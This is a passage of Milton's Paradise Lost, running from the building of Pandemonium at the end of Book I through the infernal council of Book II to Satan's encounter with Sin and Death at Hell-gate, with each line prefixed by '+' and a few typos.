+Mammon, the least erected Spirit that fell +From Heaven; for even in Heaven his looks and thoughts +Were always downward bent, admiring more +The riches of heaven's pavement, trodden gold, +Than aught divine or holy else enjoyed +In vision beatific. By him first +Men also, and by his suggestion taught, +Ransacked the centre, and with impious hands +Rifled the bowels of their mother Earth +For treasures better hid. Soon had his crew +Opened into the hill a spacious wound, +And digged out ribs of gold. Let none admire +That riches grow in Hell; that soil may best +Deserve the precious bane. And here let those +Who boast in mortal things, and wondering tell +Of Babel, and the works of Memphian kings, +Learn how their greatest monuments of fame +And strength, and art, are easily outdone +By Spirits reprobate, and in an hour +What in an age they, with incessant toil +And hands innumerable, scarce perform. +Nigh on the plain, in many cells prepared, +That underneath had veins of liquid fire +Sluiced from the lake, a second multitude +With wondrous art founded the massy ore, +Severing each kind, and scummed the bullion-dross. +A third as soon had formed within the ground +A various mould, and from the boiling cells +By strange conveyance filled each hollow nook; +As in an organ, from one blast of wind, +To many a row of pipes the sound-board breathes. +Anon out of the earth a fabric huge +Rose like an exhalation, with the sound +Of dulcet symphonies and voices sweet-- +Built like a temple, where pilasters round +Were set, and Doric pillars overlaid +With golden architrave; nor did there want +Cornice or frieze, with bossy sculptures graven; +The roof was fretted gold. Not Babylon +Nor great Alcairo such magnificence +Equalled in all their glories, to enshrine +Belus or Serapis their gods, or seat +Their kings, when Egypt with Assyria strove +In wealth and luxury. Th' ascending pile +Stood fixed her stately height, and straight the doors, +Opening their brazen folds, discover, wide +Within, her ample spaces o'er the smooth +And level pavement: from the arched roof, +Pendent by subtle magic, many a row +Of starry lamps and blazing cressets, fed +With naptha and asphaltus, yielded light +As from a sky. The hasty multitude +Admiring entered; and the work some praise, +And some the architect. His hand was known +In Heaven by many a towered structure high, +Where sceptred Angels held their residence, +And sat as Princes, whom the supreme King +Exalted to such power, and gave to rule, +Each in his Hierarchy, the Orders bright. +Nor was his name unheard or unadored +In ancient Greece; and in Ausonian land +Men called him Mulciber; and how he fell +From Heaven they fabled, thrown by angry Jove +Sheer o'er the crystal battlements: from morn +To noon he fell, from noon to dewy eve, +A summer's day, and with the setting sun +Dropt from the zenith, like a falling star, +On Lemnos, th' Aegaean isle. Thus they relate, +Erring; for he with this rebellious rout +Fell long before; nor aught aviled him now +To have built in Heaven high towers; nor did he scape +By all his engines, but was headlong sent, +With his industrious crew, to build in Hell. + Meanwhile the winged Heralds, by command +Of sovereign power, with awful ceremony +And trumpet's sound, throughout the host proclaim +A solemn council forthwith to be held +At Pandemonium, the high capital +Of Satan and his peers. Their summons called +From every band and squared regiment +By place or choice the worthiest: they anon +With hundreds and with thousands trooping came +Attended. All access was thronged; the gates +And porches wide, but chief the spacious hall +(Though like a covered field, where champions bold +Wont ride in armed, and at the Soldan's chair +Defied the best of Paynim chivalry +To mortal combat, or career with lance), +Thick swarmed, both on the ground and in the air, +Brushed with the hiss of rustling wings. As bees +In spring-time, when the Sun with Taurus rides. +Pour forth their populous youth about the hive +In clusters; they among fresh dews and flowers +Fly to and fro, or on the smoothed plank, +The suburb of their straw-built citadel, +New rubbed with balm, expatiate, and confer +Their state-affairs: so thick the airy crowd +Swarmed and were straitened; till, the signal given, +Behold a wonder! They but now who seemed +In bigness to surpass Earth's giant sons, +Now less than smallest dwarfs, in narrow room +Throng numberless--like that pygmean race +Beyond the Indian mount; or faery elves, +Whose midnight revels, by a forest-side +Or fountain, some belated peasant sees, +Or dreams he sees, while overhead the Moon +Sits arbitress, and nearer to the Earth +Wheels her pale course: they, on their mirth and dance +Intent, with jocund music charm his ear; +At once with joy and fear his heart rebounds. +Thus incorporeal Spirits to smallest forms +Reduced their shapes immense, and were at large, +Though without number still, amidst the hall +Of that infernal court. But far within, +And in their own dimensions like themselves, +The great Seraphic Lords and Cherubim +In close recess and secret conclave sat, +A thousand demi-gods on golden seats, +Frequent and full. After short silence then, +And summons read, the great consult began. + + + +Book II + + +High on a throne of royal state, which far +Outshone the wealth or Ormus and of Ind, +Or where the gorgeous East with richest hand +Showers on her kings barbaric pearl and gold, +Satan exalted sat, by merit raised +To that bad eminence; and, from despair +Thus high uplifted beyond hope, aspires +Beyond thus high, insatiate to pursue +Vain war with Heaven; and, by success untaught, +His proud imaginations thus displayed:-- + "Powers and Dominions, Deities of Heaven!-- +For, since no deep within her gulf can hold +Immortal vigour, though oppressed and fallen, +I give not Heaven for lost: from this descent +Celestial Virtues rising will appear +More glorious and more dread than from no fall, +And trust themselves to fear no second fate!-- +Me though just right, and the fixed laws of Heaven, +Did first create your leader--next, free choice +With what besides in council or in fight +Hath been achieved of merit--yet this loss, +Thus far at least recovered, hath much more +Established in a safe, unenvied throne, +Yielded with full consent. The happier state +In Heaven, which follows dignity, might draw +Envy from each inferior; but who here +Will envy whom the highest place exposes +Foremost to stand against the Thunderer's aim +Your bulwark, and condemns to greatest share +Of endless pain? Where there is, then, no good +For which to strive, no strife can grow up there +From faction: for none sure will claim in Hell +Precedence; none whose portion is so small +Of present pain that with ambitious mind +Will covet more! With this advantage, then, +To union, and firm faith, and firm accord, +More than can be in Heaven, we now return +To claim our just inheritance of old, +Surer to prosper than prosperity +Could have assured us; and by what best way, +Whether of open war or covert guile, +We now debate. Who can advise may speak." + He ceased; and next him Moloch, sceptred king, +Stood up--the strongest and the fiercest Spirit +That fought in Heaven, now fiercer by despair. +His trust was with th' Eternal to be deemed +Equal in strength, and rather than be less +Cared not to be at all; with that care lost +Went all his fear: of God, or Hell, or worse, +He recked not, and these words thereafter spake:-- + "My sentence is for open war. Of wiles, +More unexpert, I boast not: them let those +Contrive who need, or when they need; not now. +For, while they sit contriving, shall the rest-- +Millions that stand in arms, and longing wait +The signal to ascend--sit lingering here, +Heaven's fugitives, and for their dwelling-place +Accept this dark opprobrious den of shame, +The prison of his ryranny who reigns +By our delay? No! let us rather choose, +Armed with Hell-flames and fury, all at once +O'er Heaven's high towers to force resistless way, +Turning our tortures into horrid arms +Against the Torturer; when, to meet the noise +Of his almighty engine, he shall hear +Infernal thunder, and, for lightning, see +Black fire and horror shot with equal rage +Among his Angels, and his throne itself +Mixed with Tartarean sulphur and strange fire, +His own invented torments. But perhaps +The way seems difficult, and steep to scale +With upright wing against a higher foe! +Let such bethink them, if the sleepy drench +Of that forgetful lake benumb not still, +That in our porper motion we ascend +Up to our native seat; descent and fall +To us is adverse. Who but felt of late, +When the fierce foe hung on our broken rear +Insulting, and pursued us through the Deep, +With what compulsion and laborious flight +We sunk thus low? Th' ascent is easy, then; +Th' event is feared! Should we again provoke +Our stronger, some worse way his wrath may find +To our destruction, if there be in Hell +Fear to be worse destroyed! What can be worse +Than to dwell here, driven out from bliss, condemned +In this abhorred deep to utter woe! +Where pain of unextinguishable fire +Must exercise us without hope of end +The vassals of his anger, when the scourge +Inexorably, and the torturing hour, +Calls us to penance? More destroyed than thus, +We should be quite abolished, and expire. +What fear we then? what doubt we to incense +His utmost ire? which, to the height enraged, +Will either quite consume us, and reduce +To nothing this essential--happier far +Than miserable to have eternal being!-- +Or, if our substance be indeed divine, +And cannot cease to be, we are at worst +On this side nothing; and by proof we feel +Our power sufficient to disturb his Heaven, +And with perpetual inroads to alarm, +Though inaccessible, his fatal throne: +Which, if not victory, is yet revenge." + He ended frowning, and his look denounced +Desperate revenge, and battle dangerous +To less than gods. On th' other side up rose +Belial, in act more graceful and humane. +A fairer person lost not Heaven; he seemed +For dignity composed, and high exploit. +But all was false and hollow; though his tongue +Dropped manna, and could make the worse appear +The better reason, to perplex and dash +Maturest counsels: for his thoughts were low-- + To vice industrious, but to nobler deeds +Timorous and slothful. Yet he pleased the ear, +And with persuasive accent thus began:-- + "I should be much for open war, O Peers, +As not behind in hate, if what was urged +Main reason to persuade immediate war +Did not dissuade me most, and seem to cast +Ominous conjecture on the whole success; +When he who most excels in fact of arms, +In what he counsels and in what excels +Mistrustful, grounds his courage on despair +And utter dissolution, as the scope +Of all his aim, after some dire revenge. +First, what revenge? The towers of Heaven are filled +With armed watch, that render all access +Impregnable: oft on the bodering Deep +Encamp their legions, or with obscure wing +Scout far and wide into the realm of Night, +Scorning surprise. Or, could we break our way +By force, and at our heels all Hell should rise +With blackest insurrection to confound +Heaven's purest light, yet our great Enemy, +All incorruptible, would on his throne +Sit unpolluted, and th' ethereal mould, +Incapable of stain, would soon expel +Her mischief, and purge off the baser fire, +Victorious. Thus repulsed, our final hope +Is flat despair: we must exasperate +Th' Almighty Victor to spend all his rage; +And that must end us; that must be our cure-- +To be no more. Sad cure! for who would lose, +Though full of pain, this intellectual being, +Those thoughts that wander through eternity, +To perish rather, swallowed up and lost +In the wide womb of uncreated Night, +Devoid of sense and motion? And who knows, +Let this be good, whether our angry Foe +Can give it, or will ever? How he can +Is doubtful; that he never will is sure. +Will he, so wise, let loose at once his ire, +Belike through impotence or unaware, +To give his enemies their wish, and end +Them in his anger whom his anger saves +To punish endless? 'Wherefore cease we, then?' +Say they who counsel war; 'we are decreed, +Reserved, and destined to eternal woe; +Whatever doing, what can we suffer more, +What can we suffer worse?' Is this, then, worst-- +Thus sitting, thus consulting, thus in arms? +What when we fled amain, pursued and struck +With Heaven's afflicting thunder, and besought +The Deep to shelter us? This Hell then seemed +A refuge from those wounds. Or when we lay +Chained on the burning lake? That sure was worse. +What if the breath that kindled those grim fires, +Awaked, should blow them into sevenfold rage, +And plunge us in the flames; or from above +Should intermitted vengeance arm again +His red right hand to plague us? What if all +Her stores were opened, and this firmament +Of Hell should spout her cataracts of fire, +Impendent horrors, threatening hideous fall +One day upon our heads; while we perhaps, +Designing or exhorting glorious war, +Caught in a fiery tempest, shall be hurled, +Each on his rock transfixed, the sport and prey +Or racking whirlwinds, or for ever sunk +Under yon boiling ocean, wrapt in chains, +There to converse with everlasting groans, +Unrespited, unpitied, unreprieved, +Ages of hopeless end? This would be worse. +War, therefore, open or concealed, alike +My voice dissuades; for what can force or guile +With him, or who deceive his mind, whose eye +Views all things at one view? He from Heaven's height +All these our motions vain sees and derides, +Not more almighty to resist our might +Than wise to frustrate all our plots and wiles. +Shall we, then, live thus vile--the race of Heaven +Thus trampled, thus expelled, to suffer here +Chains and these torments? Better these than worse, +By my advice; since fate inevitable +Subdues us, and omnipotent decree, +The Victor's will. To suffer, as to do, +Our strength is equal; nor the law unjust +That so ordains. This was at first resolved, +If we were wise, against so great a foe +Contending, and so doubtful what might fall. +I laugh when those who at the spear are bold +And venturous, if that fail them, shrink, and fear +What yet they know must follow--to endure +Exile, or igominy, or bonds, or pain, +The sentence of their Conqueror. This is now +Our doom; which if we can sustain and bear, +Our Supreme Foe in time may much remit +His anger, and perhaps, thus far removed, +Not mind us not offending, satisfied +With what is punished; whence these raging fires +Will slacken, if his breath stir not their flames. +Our purer essence then will overcome +Their noxious vapour; or, inured, not feel; +Or, changed at length, and to the place conformed +In temper and in nature, will receive +Familiar the fierce heat; and, void of pain, +This horror will grow mild, this darkness light; +Besides what hope the never-ending flight +Of future days may bring, what chance, what change +Worth waiting--since our present lot appears +For happy though but ill, for ill not worst, +If we procure not to ourselves more woe." + Thus Belial, with words clothed in reason's garb, +Counselled ignoble ease and peaceful sloth, +Not peace; and after him thus Mammon spake:-- + "Either to disenthrone the King of Heaven +We war, if war be best, or to regain +Our own right lost. Him to unthrone we then +May hope, when everlasting Fate shall yield +To fickle Chance, and Chaos judge the strife. +The former, vain to hope, argues as vain +The latter; for what place can be for us +Within Heaven's bound, unless Heaven's Lord supreme +We overpower? Suppose he should relent +And publish grace to all, on promise made +Of new subjection; with what eyes could we +Stand in his presence humble, and receive +Strict laws imposed, to celebrate his throne +With warbled hymns, and to his Godhead sing +Forced hallelujahs, while he lordly sits +Our envied sovereign, and his altar breathes +Ambrosial odours and ambrosial flowers, +Our servile offerings? This must be our task +In Heaven, this our delight. How wearisome +Eternity so spent in worship paid +To whom we hate! Let us not then pursue, +By force impossible, by leave obtained +Unacceptable, though in Heaven, our state +Of splendid vassalage; but rather seek +Our own good from ourselves, and from our own +Live to ourselves, though in this vast recess, +Free and to none accountable, preferring +Hard liberty before the easy yoke +Of servile pomp. Our greatness will appear +Then most conspicuous when great things of small, +Useful of hurtful, prosperous of adverse, +We can create, and in what place soe'er +Thrive under evil, and work ease out of pain +Through labour and endurance. This deep world +Of darkness do we dread? How oft amidst +Thick clouds and dark doth Heaven's all-ruling Sire +Choose to reside, his glory unobscured, +And with the majesty of darkness round +Covers his throne, from whence deep thunders roar. +Mustering their rage, and Heaven resembles Hell! +As he our darkness, cannot we his light +Imitate when we please? This desert soil +Wants not her hidden lustre, gems and gold; +Nor want we skill or art from whence to raise +Magnificence; and what can Heaven show more? +Our torments also may, in length of time, +Become our elements, these piercing fires +As soft as now severe, our temper changed +Into their temper; which must needs remove +The sensible of pain. All things invite +To peaceful counsels, and the settled state +Of order, how in safety best we may +Compose our present evils, with regard +Of what we are and where, dismissing quite +All thoughts of war. Ye have what I advise." + He scarce had finished, when such murmur filled +Th' assembly as when hollow rocks retain +The sound of blustering winds, which all night long +Had roused the sea, now with hoarse cadence lull +Seafaring men o'erwatched, whose bark by chance +Or pinnace, anchors in a craggy bay +After the tempest. Such applause was heard +As Mammon ended, and his sentence pleased, +Advising peace: for such another field +They dreaded worse than Hell; so much the fear +Of thunder and the sword of Michael +Wrought still within them; and no less desire +To found this nether empire, which might rise, +By policy and long process of time, +In emulation opposite to Heaven. +Which when Beelzebub perceived--than whom, +Satan except, none higher sat--with grave +Aspect he rose, and in his rising seemed +A pillar of state. Deep on his front engraven +Deliberation sat, and public care; +And princely counsel in his face yet shone, +Majestic, though in ruin. Sage he stood +With Atlantean shoulders, fit to bear +The weight of mightiest monarchies; his look +Drew audience and attention still as night +Or summer's noontide air, while thus he spake:-- + "Thrones and Imperial Powers, Offspring of Heaven, +Ethereal Virtues! or these titles now +Must we renounce, and, changing style, be called +Princes of Hell? for so the popular vote +Inclines--here to continue, and build up here +A growing empire; doubtless! while we dream, +And know not that the King of Heaven hath doomed +This place our dungeon, not our safe retreat +Beyond his potent arm, to live exempt +From Heaven's high jurisdiction, in new league +Banded against his throne, but to remain +In strictest bondage, though thus far removed, +Under th' inevitable curb, reserved +His captive multitude. For he, to be sure, +In height or depth, still first and last will reign +Sole king, and of his kingdom lose no part +By our revolt, but over Hell extend +His empire, and with iron sceptre rule +Us here, as with his golden those in Heaven. +What sit we then projecting peace and war? +War hath determined us and foiled with loss +Irreparable; terms of peace yet none +Vouchsafed or sought; for what peace will be given +To us enslaved, but custody severe, +And stripes and arbitrary punishment +Inflicted? and what peace can we return, +But, to our power, hostility and hate, +Untamed reluctance, and revenge, though slow, +Yet ever plotting how the Conqueror least +May reap his conquest, and may least rejoice +In doing what we most in suffering feel? +Nor will occasion want, nor shall we need +With dangerous expedition to invade +Heaven, whose high walls fear no assault or siege, +Or ambush from the Deep. What if we find +Some easier enterprise? There is a place +(If ancient and prophetic fame in Heaven +Err not)--another World, the happy seat +Of some new race, called Man, about this time +To be created like to us, though less +In power and excellence, but favoured more +Of him who rules above; so was his will +Pronounced among the Gods, and by an oath +That shook Heaven's whole circumference confirmed. +Thither let us bend all our thoughts, to learn +What creatures there inhabit, of what mould +Or substance, how endued, and what their power +And where their weakness: how attempted best, +By force of subtlety. Though Heaven be shut, +And Heaven's high Arbitrator sit secure +In his own strength, this place may lie exposed, +The utmost border of his kingdom, left +To their defence who hold it: here, perhaps, +Some advantageous act may be achieved +By sudden onset--either with Hell-fire +To waste his whole creation, or possess +All as our own, and drive, as we were driven, +The puny habitants; or, if not drive, +Seduce them to our party, that their God +May prove their foe, and with repenting hand +Abolish his own works. This would surpass +Common revenge, and interrupt his joy +In our confusion, and our joy upraise +In his disturbance; when his darling sons, +Hurled headlong to partake with us, shall curse +Their frail original, and faded bliss-- +Faded so soon! Advise if this be worth +Attempting, or to sit in darkness here +Hatching vain empires." Thus beelzebub +Pleaded his devilish counsel--first devised +By Satan, and in part proposed: for whence, +But from the author of all ill, could spring +So deep a malice, to confound the race +Of mankind in one root, and Earth with Hell +To mingle and involve, done all to spite +The great Creator? But their spite still serves +His glory to augment. The bold design +Pleased highly those infernal States, and joy +Sparkled in all their eyes: with full assent +They vote: whereat his speech he thus renews:-- +"Well have ye judged, well ended long debate, +Synod of Gods, and, like to what ye are, +Great things resolved, which from the lowest deep +Will once more lift us up, in spite of fate, +Nearer our ancient seat--perhaps in view +Of those bright confines, whence, with neighbouring arms, +And opportune excursion, we may chance +Re-enter Heaven; or else in some mild zone +Dwell, not unvisited of Heaven's fair light, +Secure, and at the brightening orient beam +Purge off this gloom: the soft delicious air, +To heal the scar of these corrosive fires, +Shall breathe her balm. But, first, whom shall we send +In search of this new World? whom shall we find +Sufficient? who shall tempt with wandering feet +The dark, unbottomed, infinite Abyss, +And through the palpable obscure find out +His uncouth way, or spread his airy flight, +Upborne with indefatigable wings +Over the vast abrupt, ere he arrive +The happy Isle? What strength, what art, can then +Suffice, or what evasion bear him safe, +Through the strict senteries and stations thick +Of Angels watching round? Here he had need +All circumspection: and we now no less +Choice in our suffrage; for on whom we send +The weight of all, and our last hope, relies." + This said, he sat; and expectation held +His look suspense, awaiting who appeared +To second, or oppose, or undertake +The perilous attempt. But all sat mute, +Pondering the danger with deep thoughts; and each +In other's countenance read his own dismay, +Astonished. None among the choice and prime +Of those Heaven-warring champions could be found +So hardy as to proffer or accept, +Alone, the dreadful voyage; till, at last, +Satan, whom now transcendent glory raised +Above his fellows, with monarchal pride +Conscious of highest worth, unmoved thus spake:-- + "O Progeny of Heaven! Empyreal Thrones! +With reason hath deep silence and demur +Seized us, though undismayed. Long is the way +And hard, that out of Hell leads up to light. +Our prison strong, this huge convex of fire, +Outrageous to devour, immures us round +Ninefold; and gates of burning adamant, +Barred over us, prohibit all egress. +These passed, if any pass, the void profound +Of unessential Night receives him next, +Wide-gaping, and with utter loss of being +Threatens him, plunged in that abortive gulf. +If thence he scape, into whatever world, +Or unknown region, what remains him less +Than unknown dangers, and as hard escape? +But I should ill become this throne, O Peers, +And this imperial sovereignty, adorned +With splendour, armed with power, if aught proposed +And judged of public moment in the shape +Of difficulty or danger, could deter +Me from attempting. Wherefore do I assume +These royalties, and not refuse to reign, +Refusing to accept as great a share +Of hazard as of honour, due alike +To him who reigns, and so much to him due +Of hazard more as he above the rest +High honoured sits? Go, therefore, mighty Powers, +Terror of Heaven, though fallen; intend at home, +While here shall be our home, what best may ease +The present misery, and render Hell +More tolerable; if there be cure or charm +To respite, or deceive, or slack the pain +Of this ill mansion: intermit no watch +Against a wakeful foe, while I abroad +Through all the coasts of dark destruction seek +Deliverance for us all. This enterprise +None shall partake with me." Thus saying, rose +The Monarch, and prevented all reply; +Prudent lest, from his resolution raised, +Others among the chief might offer now, +Certain to be refused, what erst they feared, +And, so refused, might in opinion stand +His rivals, winning cheap the high repute +Which he through hazard huge must earn. But they +Dreaded not more th' adventure than his voice +Forbidding; and at once with him they rose. +Their rising all at once was as the sound +Of thunder heard remote. Towards him they bend +With awful reverence prone, and as a God +Extol him equal to the Highest in Heaven. +Nor failed they to express how much they praised +That for the general safety he despised +His own: for neither do the Spirits damned +Lose all their virtue; lest bad men should boast +Their specious deeds on earth, which glory excites, +Or close ambition varnished o'er with zeal. + Thus they their doubtful consultations dark +Ended, rejoicing in their matchless Chief: +As, when from mountain-tops the dusky clouds +Ascending, while the north wind sleeps, o'erspread +Heaven's cheerful face, the louring element +Scowls o'er the darkened landscape snow or shower, +If chance the radiant sun, with farewell sweet, +Extend his evening beam, the fields revive, +The birds their notes renew, and bleating herds +Attest their joy, that hill and valley rings. +O shame to men! Devil with devil damned +Firm concord holds; men only disagree +Of creatures rational, though under hope +Of heavenly grace, and, God proclaiming peace, +Yet live in hatred, enmity, and strife +Among themselves, and levy cruel wars +Wasting the earth, each other to destroy: +As if (which might induce us to accord) +Man had not hellish foes enow besides, +That day and night for his destruction wait! + The Stygian council thus dissolved; and forth +In order came the grand infernal Peers: +Midst came their mighty Paramount, and seemed +Alone th' antagonist of Heaven, nor less +Than Hell's dread Emperor, with pomp supreme, +And god-like imitated state: him round +A globe of fiery Seraphim enclosed +With bright emblazonry, and horrent arms. +Then of their session ended they bid cry +With trumpet's regal sound the great result: +Toward the four winds four speedy Cherubim +Put to their mouths the sounding alchemy, +By herald's voice explained; the hollow Abyss +Heard far adn wide, and all the host of Hell +With deafening shout returned them loud acclaim. +Thence more at ease their minds, and somewhat raised +By false presumptuous hope, the ranged Powers +Disband; and, wandering, each his several way +Pursues, as inclination or sad choice +Leads him perplexed, where he may likeliest find +Truce to his restless thoughts, and entertain +The irksome hours, till his great Chief return. +Part on the plain, or in the air sublime, +Upon the wing or in swift race contend, +As at th' Olympian games or Pythian fields; +Part curb their fiery steeds, or shun the goal +With rapid wheels, or fronted brigades form: +As when, to warn proud cities, war appears +Waged in the troubled sky, and armies rush +To battle in the clouds; before each van +Prick forth the airy knights, and couch their spears, +Till thickest legions close; with feats of arms +From either end of heaven the welkin burns. +Others, with vast Typhoean rage, more fell, +Rend up both rocks and hills, and ride the air +In whirlwind; Hell scarce holds the wild uproar:-- +As when Alcides, from Oechalia crowned +With conquest, felt th' envenomed robe, and tore +Through pain up by the roots Thessalian pines, +And Lichas from the top of Oeta threw +Into th' Euboic sea. Others, more mild, +Retreated in a silent valley, sing +With notes angelical to many a harp +Their own heroic deeds, and hapless fall +By doom of battle, and complain that Fate +Free Virtue should enthrall to Force or Chance. +Their song was partial; but the harmony +(What could it less when Spirits immortal sing?) +Suspended Hell, and took with ravishment +The thronging audience. In discourse more sweet +(For Eloquence the Soul, Song charms the Sense) +Others apart sat on a hill retired, +In thoughts more elevate, and reasoned high +Of Providence, Foreknowledge, Will, and Fate-- +Fixed fate, free will, foreknowledge absolute, +And found no end, in wandering mazes lost. +Of good and evil much they argued then, +Of happiness and final misery, +Passion and apathy, and glory and shame: +Vain wisdom all, and false philosophy!-- +Yet, with a pleasing sorcery, could charm +Pain for a while or anguish, and excite +Fallacious hope, or arm th' obdured breast +With stubborn patience as with triple steel. +Another part, in squadrons and gross bands, +On bold adventure to discover wide +That dismal world, if any clime perhaps +Might yield them easier habitation, bend +Four ways their flying march, along the banks +Of four infernal rivers, that disgorge +Into the burning lake their baleful streams-- +Abhorred Styx, the flood of deadly hate; +Sad Acheron of sorrow, black and deep; +Cocytus, named of lamentation loud +Heard on the rueful stream; fierce Phlegeton, +Whose waves of torrent fire inflame with rage. +Far off from these, a slow and silent stream, +Lethe, the river of oblivion, rolls +Her watery labyrinth, whereof who drinks +Forthwith his former state and being forgets-- +Forgets both joy and grief, pleasure and pain. +Beyond this flood a frozen continent +Lies dark and wild, beat with perpetual storms +Of whirlwind and dire hail, which on firm land +Thaws not, but gathers heap, and ruin seems +Of ancient pile; all else deep snow and ice, +A gulf profound as that Serbonian bog +Betwixt Damiata and Mount Casius old, +Where armies whole have sunk: the parching air +Burns frore, and cold performs th' effect of fire. +Thither, by harpy-footed Furies haled, +At certain revolutions all the damned +Are brought; and feel by turns the bitter change +Of fierce extremes, extremes by change more fierce, +From beds of raging fire to starve in ice +Their soft ethereal warmth, and there to pine +Immovable, infixed, and frozen round +Periods of time,--thence hurried back to fire. +They ferry over this Lethean sound +Both to and fro, their sorrow to augment, +And wish and struggle, as they pass, to reach +The tempting stream, with one small drop to lose +In sweet forgetfulness all pain and woe, +All in one moment, and so near the brink; +But Fate withstands, and, to oppose th' attempt, +Medusa with Gorgonian terror guards +The ford, and of itself the water flies +All taste of living wight, as once it fled +The lip of Tantalus. Thus roving on +In confused march forlorn, th' adventurous bands, +With shuddering horror pale, and eyes aghast, +Viewed first their lamentable lot, and found +No rest. Through many a dark and dreary vale +They passed, and many a region dolorous, +O'er many a frozen, many a fiery alp, +Rocks, caves, lakes, fens, bogs, dens, and shades of death-- +A universe of death, which God by curse +Created evil, for evil only good; +Where all life dies, death lives, and Nature breeds, +Perverse, all monstrous, all prodigious things, +Obominable, inutterable, and worse +Than fables yet have feigned or fear conceived, +Gorgons, and Hydras, and Chimeras dire. + Meanwhile the Adversary of God and Man, +Satan, with thoughts inflamed of highest design, +Puts on swift wings, and toward the gates of Hell +Explores his solitary flight: sometimes +He scours the right hand coast, sometimes the left; +Now shaves with level wing the deep, then soars +Up to the fiery concave towering high. +As when far off at sea a fleet descried +Hangs in the clouds, by equinoctial winds +Close sailing from Bengala, or the isles +Of Ternate and Tidore, whence merchants bring +Their spicy drugs; they on the trading flood, +Through the wide Ethiopian to the Cape, +Ply stemming nightly toward the pole: so seemed +Far off the flying Fiend. At last appear +Hell-bounds, high reaching to the horrid roof, +And thrice threefold the gates; three folds were brass, +Three iron, three of adamantine rock, +Impenetrable, impaled with circling fire, +Yet unconsumed. Before the gates there sat +On either side a formidable Shape. +The one seemed woman to the waist, and fair, +But ended foul in many a scaly fold, +Voluminous and vast--a serpent armed +With mortal sting. About her middle round +A cry of Hell-hounds never-ceasing barked +With wide Cerberean mouths full loud, and rung +A hideous peal; yet, when they list, would creep, +If aught disturbed their noise, into her womb, +And kennel there; yet there still barked and howled +Within unseen. Far less abhorred than these +Vexed Scylla, bathing in the sea that parts +Calabria from the hoarse Trinacrian shore; +Nor uglier follow the night-hag, when, called +In secret, riding through the air she comes, +Lured with the smell of infant blood, to dance +With Lapland witches, while the labouring moon +Eclipses at their charms. The other Shape-- +If shape it might be called that shape had none +Distinguishable in member, joint, or limb; +Or substance might be called that shadow seemed, +For each seemed either--black it stood as Night, +Fierce as ten Furies, terrible as Hell, +And shook a dreadful dart: what seemed his head +The likeness of a kingly crown had on. +Satan was now at hand, and from his seat +The monster moving onward came as fast +With horrid strides; Hell trembled as he strode. +Th' undaunted Fiend what this might be admired-- +Admired, not feared (God and his Son except, +Created thing naught valued he nor shunned), +And with disdainful look thus first began:-- + "Whence and what art thou, execrable Shape, +That dar'st, though grim and terrible, advance +Thy miscreated front athwart my way +To yonder gates? Through them I mean to pass, +That be assured, without leave asked of thee. +Retire; or taste thy folly, and learn by proof, +Hell-born, not to contend with Spirits of Heaven." + To whom the Goblin, full of wrath, replied:-- +"Art thou that traitor Angel? art thou he, +Who first broke peace in Heaven and faith, till then +Unbroken, and in proud rebellious arms +Drew after him the third part of Heaven's sons, +Conjured against the Highest--for which both thou +And they, outcast from God, are here condemned +To waste eternal days in woe and pain? +And reckon'st thou thyself with Spirits of Heaven +Hell-doomed, and breath'st defiance here and scorn, +Where I reign king, and, to enrage thee more, +Thy king and lord? Back to thy punishment, +False fugitive; and to thy speed add wings, +Lest with a whip of scorpions I pursue +Thy lingering, or with one stroke of this dart +Strange horror seize thee, and pangs unfelt before." + So spake the grisly Terror, and in shape, +So speaking and so threatening, grew tenfold, +More dreadful and deform. On th' other side, +Incensed with indignation, Satan stood +Unterrified, and like a comet burned, +That fires the length of Ophiuchus huge +In th' arctic sky, and from his horrid hair +Shakes pestilence and war. Each at the head +Levelled his deadly aim; their fatal hands +No second stroke intend; and such a frown +Each cast at th' other as when two black clouds, +With heaven's artillery fraught, came rattling on +Over the Caspian,--then stand front to front +Hovering a space, till winds the signal blow +To join their dark encounter in mid-air. +So frowned the mighty combatants that Hell +Grew darker at their frown; so matched they stood; +For never but once more was wither like +To meet so great a foe. And now great deeds +Had been achieved, whereof all Hell had rung, +Had not the snaky Sorceress, that sat +Fast by Hell-gate and kept the fatal key, +Risen, and with hideous outcry rushed between. + "O father, what intends thy hand," she cried, +"Against thy only son? What fury, O son, +Possesses thee to bend that mortal dart +Against thy father's head? And know'st for whom? +For him who sits above, and laughs the while +At thee, ordained his drudge to execute +Whate'er his wrath, which he calls justice, bids-- +His wrath, which one day will destroy ye both!" + She spake, and at her words the hellish Pest +Forbore: then these to her Satan returned:-- + "So strange thy outcry, and thy words so strange +Thou interposest, that my sudden hand, +Prevented, spares to tell thee yet by deeds +What it intends, till first I know of thee +What thing thou art, thus double-formed, and why, +In this infernal vale first met, thou call'st +Me father, and that phantasm call'st my son. +I know thee not, nor ever saw till now +Sight more detestable than him and thee." + T' whom thus the Portress of Hell-gate replied:-- +"Hast thou forgot me, then; and do I seem +Now in thine eye so foul?--once deemed so fair +In Heaven, when at th' assembly, and in sight +Of all the Seraphim with thee combined +In bold conspiracy against Heaven's King, +All on a sudden miserable pain +Surprised thee, dim thine eyes and dizzy swum +In darkness, while thy head flames thick and fast +Threw forth, till on the left side opening wide, +Likest to thee in shape and countenance bright, +Then shining heavenly fair, a goddess armed, +Out of thy head I sprung. Amazement seized +All th' host of Heaven; back they recoiled afraid +At first, and called me Sin, and for a sign +Portentous held me; but, familiar grown, +I pleased, and with attractive graces won +The most averse--thee chiefly, who, full oft +Thyself in me thy perfect image viewing, +Becam'st enamoured; and such joy thou took'st +With me in secret that my womb conceived +A growing burden. Meanwhile war arose, +And fields were fought in Heaven: wherein remained +(For what could else?) to our Almighty Foe +Clear victory; to our part loss and rout +Through all the Empyrean. Down they fell, +Driven headlong from the pitch of Heaven, down +Into this Deep; and in the general fall +I also: at which time this powerful key +Into my hands was given, with charge to keep +These gates for ever shut, which none can pass +Without my opening. Pensive here I sat +Alone; but long I sat not, till my womb, +Pregnant by thee, and now excessive grown, +Prodigious motion felt and rueful throes. +At last this odious offspring whom thou seest, +Thine own begotten, breaking violent way, +Tore through my entrails, that, with fear and pain +Distorted, all my nether shape thus grew +Transformed: but he my inbred enemy +Forth issued, brandishing his fatal dart, +Made to destroy. I fled, and cried out Death! +Hell trembled at the hideous name, and sighed +From all her caves, and back resounded Death! +I fled; but he pursued (though more, it seems, +Inflamed with lust than rage), and, swifter far, +Me overtook, his mother, all dismayed, +And, in embraces forcible and foul +Engendering with me, of that rape begot +These yelling monsters, that with ceaseless cry +Surround me, as thou saw'st--hourly conceived +And hourly born, with sorrow infinite +To me; for, when they list, into the womb +That bred them they return, and howl, and gnaw +My bowels, their 